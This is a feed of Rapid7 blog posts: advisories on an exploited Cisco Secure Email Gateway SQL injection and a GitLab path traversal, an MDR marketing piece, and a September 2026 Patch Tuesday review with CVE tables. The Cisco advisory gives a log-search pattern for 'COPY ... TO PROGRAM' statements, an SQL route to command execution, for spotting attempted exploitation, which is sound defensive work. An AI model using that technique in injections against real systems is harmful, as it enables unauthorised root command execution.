All posts by Rapid7

CVE-2026-76461: Critical Cisco Secure Email Gateway Vulnerability Exploited in the Wild

2026-09-15 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-76461-critical-cisco-secure-email-gateway-vulnerability-exploited-in-the-wild

Overview

On September 14, 2026, Cisco published a security advisory for CVE-2026-76461, a critical SQL injection vulnerability affecting Cisco AsyncOS Software for Cisco Secure Email Gateway. The vulnerability has a reported CVSS v3.1 base score of 9.8 and could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on an affected appliance.

Cisco Secure Email Gateway, formerly known as IronPort Email Security Appliance, is an enterprise email security product that inspects inbound and outbound email for threats including phishing, malware, spam, and business email compromise. Because affected gateways process externally delivered email as part of their normal operation, exploitation does not require access to an administrative interface or authentication. An attacker can reportedly trigger the vulnerability by sending a specially crafted email through a vulnerable gateway.

CVE-2026-76461 was added to CISA’s Known Exploited Vulnerabilities (KEV) catalog on the same day as the vendor disclosed the vulnerability, indicating that CVE-2026-76461 was exploited as a zero-day prior to disclosure. Cisco noted that their PSIRT became aware of active exploitation in September 2026. At the time of publication, there is no public proof-of-concept exploit code available, and no attribution for the current threat actor activity.

Mitigation guidance

Organizations running Cisco Secure Email Gateway should prioritize upgrading to a vendor-supplied fixed version on an emergency basis, outside of normal patching cycles.

Affected Version	Fixed Version
15.5 and earlier	15.5.5-014
16.0	16.0.4-302
16.5	16.5.0-780

Given the reported active exploitation and the ability to achieve unauthenticated root-level command execution through malicious email processing, organizations should prioritize patching rather than relying solely on network controls or monitoring. Cisco also strongly recommends that customers migrate to the latest product version, 16.5.0-780.

For the latest remediation guidance, see the vendor advisory.

Indicators of compromise

The following indicators of compromise for CVE-2026-76461 were reported within the Cisco security advisory.

To confirm any attempted exploitation of this vulnerability, review the mail_logs and look for suspicious SQL statements. If the device is part of a cluster, review the logs of each cluster device. The following is a non-exhaustive example of how a malicious SQL statement could be detected in the logs:

cisco-esa> grep -i “COPY.*TO PROGRAM” [IronPort Text Mail Logs Log name – Default: mail_logs]

The presence of any entry in the output may indicate malicious activity.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-76461 with a vulnerability check expected to be available in the September 16 content release.

Updates

September 15, 2026: Initial publication.

Rapid7 Named Among Notable Vendors in Forrester MDR Landscape: Why the Future is Exposure-informed, Preemptive MDR

2026-09-14 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/dr-forrester-mdr-landscape-notable-vendor-preemptive

The managed detection and response (MDR) market has reached a turning point. We’ve gone beyond the baseline of 24/7 monitoring focusing on the speed of detection and moved to a world with a convergence of exposure management and response to deliver measurable, outcome-based defenses of a larger, AI-driven attack surface.

For anyone evaluating MDR right now, the Managed Detection and Response Services Landscape, Q3 2026 report by Forrester is a useful map that lays out where the market is heading. This is a market that has moved beyond “do you cover my telemetry?” to “Can a provider connect and prove that its activity is tied to real reduction in risk?”.

Rapid7 was named among the notable providers in this Forrester MDR Landscape. Being included matters to us, but the more interesting story is in what Forrester says about the market itself.

Detection and exposure are becoming one service

One of the report’s clearest signals is directional: Forrester writes that “MDR services will converge with exposure and posture improvement.”

That convergence is the whole basis of Rapid7 MDR and our Command Platform strategy. Most MDR services react after an attacker has already broken in. Rapid7 designed its service to anticipate where attackers are likely to succeed and disrupt them earlier. We combine exposure context, detection, and response into a single operational loop, where vulnerability findings and asset risk scoring flow directly into alerts and investigations. This means analysts can cut noise and focus response on the exposures most likely to cause business impact. It’s what we mean by exposure-informed, Preemptive MDR: The same context that tells you where you’re weak is the context that sharpens how you detect and respond.

For buyers, the practical implication is that old procurement habits are changing. Buyers used to invest in detection from one vendor, exposure management from another, and then hope the two solutions would seamlessly talk to each other. That approach is now turning into a liability.

The market will reward providers that connect these additions to measurable risk reduction rather than bolting on loosely joined SKUs. That’s a bar customers should hold every provider to, including Rapid7.

“Make providers prove the investigation, rather than narrate the dashboard”

The second theme is about accountability. In its guidance on working with providers, Forrester is blunt: Buyers should “make providers prove the investigation, rather than narrate the dashboard.” A slick activity feed is not evidence that anyone reached the right conclusion. Buyers should ask to see the reasoning behind a disposition, the actions taken, and the controls that keep automation from making unsafe decisions.

This is a healthy pressure on the whole market, and it’s a test we welcome. Rapid7 MDR is delivered on Rapid7’s own SIEM, which gives customers a direct window into our SOC, including validated threats, the response actions taken, where AI accelerated the work, and where a human analyst stepped in and why. Every action is logged, explainable, and auditable. As agentic AI takes on more of the investigation workload, that transparency becomes the difference between a service you trust and a black box you hope is working. Our approach is deliberately human-led and AI-enhanced: AI scales triage and investigation across large volumes of telemetry, while analysts stay responsible for validation and response decisions.

Accountability also shows up in commercial terms. Rapid7 MDR includes unlimited incident response, so the team stays engaged until an incident is fully remediated rather than stopping when a clock runs out, and gives a concrete answer to the “who owns the outcome?” question.

What to do with the report

If you’re evaluating MDR, and have access to Forrester, the report is a strong prompt to rewrite your evaluation criteria. A few questions worth taking into any provider conversation:

Ask how exposure context actually enters investigations. Is it a legitimate input to detection and prioritization, or a separate dashboard?
Ask to see a real, redacted case file rather than a metrics summary. Then probe how the provider handles uncertainty and model failure.
Clarify the place where accountability sits when a response action carries risk, and get a clear answer on how far the provider remains engaged during an incident.

These are the same standards we hold ourselves to, and they map to how we’ve built our MDR service. If you want to go deeper, our MDR Buyer’s Guide walks through what to look for in a partner, and you can compare Rapid7 MDR against other providers or talk to our SOC team directly.

The MDR market is one in which detection, exposure, and response stop being separate purchases and start being one accountable outcome. That’s the service we set out to build, and now is a good moment for every security leader to ask whether their current provider is heading the same way.

Source: Forrester, The Managed Detection And Response Services Landscape, Q3 2026, Jeff Pollard with Joseph Blankenship, Emily Doherty, and Michael Belden, September 1, 2026. Forrester does not endorse any company, product, brand, or service included in its research publications and does not advise any person to select the products or services of any company or brand based on the ratings included in such publications. Information is based on the best available resources. Opinions reflect judgment at the time and are subject to change. This report is part of a broader collection of Forrester resources, including interactive models, frameworks, tools, data, and access to analyst guidance. For more information, read about Forrester’s objectivity here .

CVE-2026-85706: Critical GitLab Path Traversal Exploited in the Wild

2026-09-14 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-85706-critical-gitlab-path-traversal-exploited-in-the-wild

Overview

On September 10, 2026, GitLab published a critical patch release for GitLab Community Edition (CE) and Enterprise Edition (EE). The release addresses CVE-2026-85706, a critical path traversal vulnerability (CWE-22) in the repository commits API with a CVSSv3.1 score of 10.0. According to GitLab, improper path confinement and missing authentication enforcement could allow an unauthenticated user to read arbitrary files from an affected GitLab server under certain conditions.

On September 11, 2026, CVE-2026-85706 was added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation. CISA set a remediation due date of September 14, 2026, for affected Federal Civilian Executive Branch agencies and marked the vulnerability as subject to forensic triage requirements under Binding Operational Directive 26-04.

Organizations running affected self-managed GitLab instances should remediate CVE-2026-85706 on an emergency basis, outside of normal patch cycles.

Mitigation guidance

A vendor-supplied update is available to remediate CVE-2026-85706. Organizations running affected self-managed GitLab CE or EE instances should upgrade to a fixed version immediately.

Affected GitLab CE/EE versions	Fixed version
All versions from 18.7 before 19.1.8	19.1.8
All versions from 19.2 before 19.2.6	19.2.6
All versions from 19.3 before 19.3.2	19.3.2

GitLab.com is already running a patched version, and GitLab Dedicated customers do not need to take action. Per GitLab, all self-managed deployment types are affected, including Omnibus, source code, and Helm chart deployments.

The updates include database migrations. Single-node installations will experience downtime while the migrations run; multi-node deployments can use GitLab’s zero-downtime upgrade procedure. Of the fixed releases, only 19.3.2 includes post-deployment migrations.

The patch release also addresses 17 other vulnerabilities. These include CVE-2026-87719, a critical insecure deserialization vulnerability (CWE-502) in GitLab EE with a CVSSv3.1 score of 9.9. GitLab states that, under certain conditions, an authenticated user with Duo Chat access could obtain Advanced Search instance configurations and sensitive credentials using a specially crafted GraphQL subscription argument. At the time of publication, only CVE-2026-85706 is known to be exploited in the wild.

Given the confirmed exploitation, Rapid7 strongly recommends looking for signs of compromise even after the update has been applied. Organizations subject to CISA’s BOD 26-04 should also follow the forensic triage requirements associated with the KEV entry.

For the latest mitigation guidance, please refer to the vendor’s security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-85706 with a vulnerability check available in the September 15 content release.

Updates

September 14, 2026: Initial publication.

Patch Tuesday – September 2026

2026-09-09 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/em-patch-tuesday-september-2026

Microsoft is publishing 974 own-product vulnerabilities on September 2026 Patch Tuesday, including 723 vulnerabilities in Windows. Along with Microsoft fixes for 25 non-Microsoft CVEs, that brings the total number of vulnerabilities on the table today to 999. Whether this is the biggest Patch Tuesday ever depends on how we count, but this is by far the most CVEs that Microsoft has ever published in a single day. As Rapid7 noted last month, there is no reason to suppose that Patch Tuesday will ever return to the lower volumes we saw prior to 2026. Microsoft is aware of exploitation in the wild for two of the vulnerabilities published today.

Windows ALPC: zero-day EoP

The eternal game of elevation of privilege whack-a-mole between Microsoft and attackers continues. This month, the battle is centered on the Windows Advanced Local Procedure Call (ALPC) mechanism, a kernel capability that facilitates inter-process communication. Microsoft is aware of exploitation in the wild already. Successful abuse of the flaw underlying CVE-2026-85880 grants an attacker SYSTEM via a buffer overflow that enables an out-of-bounds write, and as we all know by now, this is exactly what would happen during the first five minutes of a technically accurate horror movie about ransomware. We can infer one silver lining here: since neither Server 2025 nor Windows 11 receives patches for CVE-2026-85880, it is likely that Microsoft’s ongoing efforts to level up memory safety by rewriting critical kernel components in Rust are paying off.

Windows Update Stack: zero-day EoP

Attackers disappointed by Microsoft’s move towards memory safety improvements for various critical kernel components need not leave empty-handed today. Microsoft is aware of existing exploitation in the wild for CVE-2026-81963, an elevation of privilege vulnerability in the Windows Update Stack that leads to SYSTEM privileges via improper link resolution. All supported versions of Windows receive a patch, which presumably tightens up controls to prevent the Windows Update Stack from following a malicious link and overwriting a system component with an attacker-controlled imposter. The relatively pedestrian CVSS v3 base score of 7.8 is no reason for less concern, since no serious attacker will bother developing an intricate one-shot RCE when a two-stage attack chain consisting of low-privileged local access coupled with elevation of privilege will achieve the same ultimate goal much more easily.

Living on the Edge: browser advisory uncertainty

For the second month in a row, Microsoft does not appear to have published any desktop browser security advisories between the start of the month and Patch Tuesday. Microsoft Edge is built on top of Google’s open-source Chromium project, and on September 3, 2026, Google Chrome patched CVE-2026-85046, an exploited-in-the-wild zero-day vulnerability in the V8 JavaScript engine relied upon by both Edge and Chrome. So, is Microsoft Edge falling dangerously behind Google Chrome? Well, maybe. In this specific case, the Edge stable channel did receive a patch a day earlier than Chrome on September 2, 2026, and we know this because the Edge release notes mention it. However, almost a week later, Microsoft still hasn’t published a security advisory for CVE-2026-85046, and until that URL returns something better than a 404, that will remain true. In short: if you’re patched, you are protected, but if you rely on advisories to know which vulns exist, you could miss this zero-day vulnerability altogether. Only Microsoft knows why this advisory is missing, but there is no reason to suppose that Microsoft is somehow immune to the pressures that come along with the vast increase in vulnerability volume. A patch without an advisory is perhaps marginally better than an advisory without a patch, but keeping track of exposures without reliable advisory materials is not straightforward. Chrome patched 11 other vulnerabilities at the same time as CVE-2026-85046, but it’s not yet clear if those are patched in Edge. Until Microsoft sets the record straight, the only safe assumption is that these vulnerabilities (e.g. CVE-2026-85045) remain unpatched in Edge.

Microsoft lifecycle update

The next Microsoft product lifecycle changes with broad impact occur on October 14, 2026, when Windows 11 24H2 Home & Pro reach end of servicing, and Windows Server 2022 moves to extended support, with free critical security updates continuing, but no further feature development. At the same time, the final curtain falls for Windows Server 2012 and 2012 R2 with the expiry of the third and final year of cash-for-updates Extended Security Update (ESU) program for these aging workhorses. Office 2021 also moves beyond support, including the Long-Term Servicing Channel, with no ESU available in that case. Also in October, Exchange Server 2016 and 2019 will join the “no ESU” club, after two previous six-month reprieves. Presumably, Microsoft really means it this time.

Summary charts

Summary tables

Apps vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-80097	Microsoft Authenticator Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.6
CVE-2026-58611	Xbox Gaming Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8

Azure vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-70352	Azure AI Language Elevation of Privilege Vulnerability	N/A	No	10.0
CVE-2026-62895	Azure Arc SQL Server Extension Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69857	Azure Cosmos DB Spoofing Vulnerability	Exploitation More Likely	No	8.5
CVE-2026-77909	Azure CycleCloud Information Disclosure Vulnerability	Exploitation Less Likely	No	7.7
CVE-2026-81349	Azure HDInsight Ambari Elevation of Privilege Vulnerability	N/A	No	7.2
CVE-2026-83941	Entra ID Elevation of Privilege Vulnerability	N/A	No	9.9
CVE-2026-84003	Microsoft Authentication Library (MSAL) for Node.js Spoofing Vulnerability	Exploitation Less Likely	No	7.4
CVE-2026-83711	Microsoft Azure Active Directory B2C Elevation of Privilege Vulnerability	N/A	No	10.0
CVE-2026-83948	Microsoft Azure CLI Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-62906	Microsoft Discovery Studio Information Disclosure Vulnerability	N/A	No	7.4
CVE-2026-62916	Microsoft Entra ID Elevation of Privilege Vulnerability	N/A	No	9.1
CVE-2026-69854	Spring Cloud Azure Elevation of Privilege Vulnerability	Exploitation More Likely	No	9.0

Browser vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?
CVE-2026-84323	Chromium: CVE-2026-84323 Missing authorization in FileSystem	n/a	No
CVE-2026-84324	Chromium: CVE-2026-84324 Use after free in Proxy	n/a	No
CVE-2026-84325	Chromium: CVE-2026-84325 Improper input validation in DataTransfer	n/a	No
CVE-2026-84326	Chromium: CVE-2026-84326 Uninitialized resource in V8	n/a	No
CVE-2026-84327	Chromium: CVE-2026-84327 Incorrect authorization in Autofill	n/a	No
CVE-2026-84328	Chromium: CVE-2026-84328 Missing authorization in FileSystem	n/a	No
CVE-2026-84329	Chromium: CVE-2026-84329 Confused deputy in CredentialProvider	n/a	No
CVE-2026-84331	Chromium: CVE-2026-84331 Incorrect authorization in Actor	n/a	No
CVE-2026-84332	Chromium: CVE-2026-84332 Incorrect authorization in SiteSettings	n/a	No
CVE-2026-84334	Chromium: CVE-2026-84334 Incorrect authorization in Chromoting	n/a	No
CVE-2026-84335	Chromium: CVE-2026-84335 Incorrect authorization in TabStrip	n/a	No
CVE-2026-84347	Chromium: CVE-2026-84347 Use after free in WebRTC	n/a	No
CVE-2026-84348	Chromium: CVE-2026-84348 Information leak in MediaCapture	n/a	No
CVE-2026-84349	Chromium: CVE-2026-84349 Use after free in Browser	n/a	No
CVE-2026-84350	Chromium: CVE-2026-84350 Use after free in TabStrip	n/a	No
CVE-2026-84351	Chromium: CVE-2026-84351 Buffer overflow in GPU	n/a	No
CVE-2026-84353	Chromium: CVE-2026-84353 Use after free in Shared Tab Groups	n/a	No
CVE-2026-84354	Chromium: CVE-2026-84354 Incorrect authorization in FileSystem	n/a	No
CVE-2026-84355	Chromium: CVE-2026-84355 Incorrect authorization in Navigation	n/a	No
CVE-2026-84356	Chromium: CVE-2026-84356 UI misrepresentation in FullScreen	n/a	No
CVE-2026-84357	Chromium: CVE-2026-84357 Improper input validation in Omnibox	n/a	No
CVE-2026-84358	Chromium: CVE-2026-84358 Improper privilege management in Downloads	n/a	No
CVE-2026-84359	Chromium: CVE-2026-84359 Information leak in Skia	n/a	No

Developer Tools vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-69439	.NET and Visual Studio Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69522	.NET and Visual Studio Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-71328	.NET and Visual Studio Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69805	.NET Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69806	.NET Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-58649	.NET Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2025-70873	An information disclosure issue in the zipfileInflate function in the zipfile extension in SQLite v3.51.1 and earlier allows attackers to obtain heap memory via supplying a crafted ZIP file.	n/a	No	7.5
CVE-2026-57099	ASP.NET Core Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69304	ASP.NET Core Denial of Service Vulnerability	Exploitation Less Likely	No	5.9
CVE-2026-34182	CMS AuthEnvelopedData Processing May Accept Forged Messages	n/a	No	9.1
CVE-2026-81380	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	N/A	No	5.3
CVE-2026-81381	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-81383	Visual Studio Code Information Disclosure Vulnerability	Exploitation Less Likely	No	7.4
CVE-2026-70334	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-78461	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Less Likely	No	7.4
CVE-2026-78462	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-81356	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-81357	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-81376	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Less Likely	No	9.6
CVE-2026-81378	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-81379	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-81377	Visual Studio Code Tampering Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-77906	Visual Studio Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-77907	Visual Studio Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8

ESU vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-62810	Active Directory Certificate Services (AD CS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69821	Active Directory Certificate Services (AD CS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69395	Active Directory Certificate Services (AD CS) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-69624	Active Directory Certificate Services (AD CS) Tampering Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-69359	Active Directory Domain Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72978	Active Directory Federation Services (AD FS) Denial of Service Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-69329	BranchCache Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69516	Connected Devices Platform Service (Cdpsvc) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-68824	Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-68847	Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69470	Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69625	Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-73014	Data Sharing Service Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-73006	DirectWrite Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-73016	DirectWrite Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69576	Graphic Fonts Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72986	Graphic Fonts Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-73018	Graphic Fonts Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-73017	Graphics Kernel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69731	HID Class Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72983	Internet Connection Sharing (ICS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-68895	Internet Storage Name Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-72981	IP Helper Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69275	Kernel Streaming WOW Thunk Service Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69900	Kernel Streaming WOW Thunk Service Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-68852	Microsoft Account Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69299	Microsoft COM for Windows Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69294	Microsoft COM for Windows Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69491	Microsoft DirectMusic Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69378	Microsoft Exchange Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69380	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69641	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	9.1
CVE-2026-69382	Microsoft Exchange Server Information Disclosure Vulnerability	Exploitation Less Likely	No	5.9
CVE-2026-55007	Microsoft Exchange Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69355	Microsoft Exchange Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69356	Microsoft Exchange Server Spoofing Vulnerability	Exploitation Less Likely	No	9.3
CVE-2026-69361	Microsoft Exchange Server Spoofing Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69375	Microsoft Exchange Server Tampering Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69467	Microsoft Graphics Component Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-84000	Microsoft Graphics Component Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69605	Microsoft Install Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69325	Microsoft JScript Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-69438	Microsoft JScript Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69277	Microsoft Local Security Authority (LSA) Server Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69365	Microsoft Local Security Authority (LSA) Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-68843	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69360	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-77504	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69397	Microsoft OpenSSH for Windows Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-62801	Microsoft PowerShell Security Feature Bypass Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-68885	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68888	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68889	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-68890	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68892	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68897	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69269	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69271	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69272	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69313	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69336	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-68881	Microsoft Standard XPS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-68891	Microsoft Standard XPS Information Disclosure Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-69308	Microsoft Standard XPS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69345	Microsoft Standard XPS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69367	Microsoft Standard XPS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69376	Microsoft Standard XPS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69824	Microsoft Standard XPS Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69276	Microsoft UxTheme Library (uxtheme.dll) Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69420	Microsoft VOLSNAP.SYS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69427	Microsoft VOLSNAP.SYS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-72933	Microsoft WDAC OLE DB provider for SQL Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62706	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69386	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69408	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69511	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69601	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69586	Microsoft Windows PDF Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-78451	Microsoft Windows SCSI Class System File Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-78452	Microsoft Windows SCSI Class System File Information Disclosure Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-78453	Microsoft Windows SCSI Class System File Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69305	Microsoft Windows Search Component Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-69585	Microsoft Windows Search Component Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69600	Microsoft Windows Search Component Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69608	Microsoft Windows Search Component Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69911	Microsoft Windows Search Component Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-70145	Microsoft Windows Search Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69453	Microsoft Windows Search Component Tampering Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69554	Microsoft Windows Search Component Tampering Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69444	Microsoft Windows Speech Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69456	Microsoft Windows Speech Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69531	Microsoft Windows Speech Tampering Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69807	PowerShell Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0

CVE-2026-69303	Push Message Routing Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-68828	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69358	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69485	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-83998	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69292	Remote Desktop Gateway Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69338	Remote Desktop Gateway Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-68893	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69514	Remote Desktop Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69525	Remote Desktop Services Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-69539	Remote Desktop Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69509	Role: Windows Fax Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69621	Role: Windows Fax Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-72944	Role: Windows Fax Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
